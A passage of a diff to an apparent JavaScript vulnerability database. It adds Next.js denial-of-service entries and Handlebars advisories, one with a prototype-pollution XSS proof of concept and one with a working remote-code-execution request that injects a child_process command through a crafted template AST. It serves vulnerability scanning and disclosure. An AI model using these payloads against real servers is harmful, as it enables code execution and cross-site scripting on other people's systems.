`images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. \n\n## Workarounds\nIf upgrade is not immediately possible:\n- Periodically clean `.next/cache/images`.\n- Reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`)", + "githubID": "GHSA-3x4c-7xq6-9pq8", + "CVE": [ + "CVE-2026-27980" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-3x4c-7xq6-9pq8", + "https://github.com/vercel/next.js/commit/39eb8e0ac498b48855a0430fbf4c22276a73b4bd", + "https://github.com/vercel/next.js/releases/tag/v16.1.7" + ] + }, { "atOrAbove": "16.0.0-beta.0", "below": "16.1.7", @@ -9685,6 +9921,300 @@ "https://github.com/vercel/next.js/commit/a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8", "https://github.com/vercel/next.js/releases/tag/v16.1.7" ] + }, + { + "atOrAbove": "15.0.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.2-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.3-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.4-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.1.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.2.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.2.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.2.2-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.3.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.3.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.4.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.4.2-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.5.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] } ], "extractors": { diff --git a/repository/jsrepository-v3.json b/repository/jsrepository-v3.json index 81bf716a..1821603e 100644 --- a/repository/jsrepository-v3.json +++ b/repository/jsrepository-v3.json @@ -4531,6 +4531,165 @@ "info": [ "https://nvd.nist.gov/vuln/detail/CVE-2021-23369" ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "medium", + "cwe": [ + "CWE-1321", + "CWE-79" + ], + "identifiers": { + "summary": "## Summary\n\n`resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered **without HTML escaping**, resulting in reflected or stored XSS.\n\n## Description\n\nThe root cause is in `lib/handlebars/runtime.js` inside `resolvePartial()` and `invokePartial()`:\n\n```javascript\n// Vulnerable: plain bracket access traverses Object.prototype\npartial = options.partials[options.name];\n```\n\n`hasOwnProperty` is never checked, so if `Object.prototype` has been seeded with a key whose name matches a partial reference in the template (e.g. `widget`), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.\n\n**Prerequisites for exploitation:**\n1. The target application must be vulnerable to prototype pollution (e.g. via `qs`, `minimist`, or\n any querystring/JSON merge sink).\n2. The attacker must know or guess the name of a partial reference used in a template.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars');\n\n// Step 1: Prototype pollution (via qs, minimist, or another vector)\nObject.prototype.widget = '';\n\n// Step 2: Normal template that references a partial\nconst template = Handlebars.compile('
Welcome! {{> widget}}
');\n\n// Step 3: Render — XSS payload injected unescaped\nconst output = template({});\n// Output:
Welcome!
\n```\n\n> The runtime prints a prototype access warning claiming \"access has been denied,\" but the partial still resolves and returns the polluted value.\n\n## Workarounds\n\n- Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype pollution. Note: this may break other libraries.\n- Use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates and reduces the attack surface.", + "githubID": "GHSA-2qvq-rjwj-gvw9", + "CVE": [ + "CVE-2026-33916" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "critical", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) => {\n let text = req.body.text;\n let template = Handlebars.compile(text);\n let result = template();\n res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n \"text\": {\n \"type\": \"Program\",\n \"body\": [\n {\n \"type\": \"MustacheStatement\",\n \"path\": {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [\"lookup\"],\n \"original\": \"lookup\",\n \"loc\": null\n },\n \"params\": [\n {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [],\n \"original\": \"this\",\n \"loc\": null\n },\n {\n \"type\": \"NumberLiteral\",\n \"value\": \"{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //\",\n \"original\": 1,\n \"loc\": null\n }\n ],\n \"escaped\": true,\n \"strip\": { \"open\": false, \"close\": false },\n \"loc\": null\n }\n ]\n }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value.\n ```javascript\n if (typeof templateInput !== 'string') {\n throw new TypeError('Template must be a string');\n }\n ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.", + "githubID": "GHSA-2w6w-674q-4c4q", + "CVE": [ + "CVE-2026-33937" + ] + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q", + "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] + }, + { + "atOrAbove": "4.0.0", + "below": "4.7.9", + "severity": "high", + "cwe": [ + "CWE-843", + "CWE-94" + ], + "identifiers": { + "summary": "## Summary\n\nThe `@partial-block` special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites `@partial-block` with a crafted Handlebars AST, a subsequent invocation of `{{> @partial-block}}` compiles and executes that AST, enabling arbitrary JavaScript execution on the server.\n\n## Description\n\nHandlebars stores `@partial-block` in the `data` frame that is accessible to templates. In nested contexts, a parent frame's `@partial-block` is reachable as `@_parent.partial-block`. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite `@partial-block` with an attacker-controlled value.\n\nWhen `{{> @partial-block}}` is subsequently evaluated, `invokePartial` receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to **dynamically compiling** the value via `env.compile()`. If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.\n\nThe `handlebars-helpers` npm package (commonly used with Handlebars) includes several helpers such as `merge` that can be used as the mutation primitive.\n\n## Proof of Concept\n\nTested with Handlebars 4.7.8 and 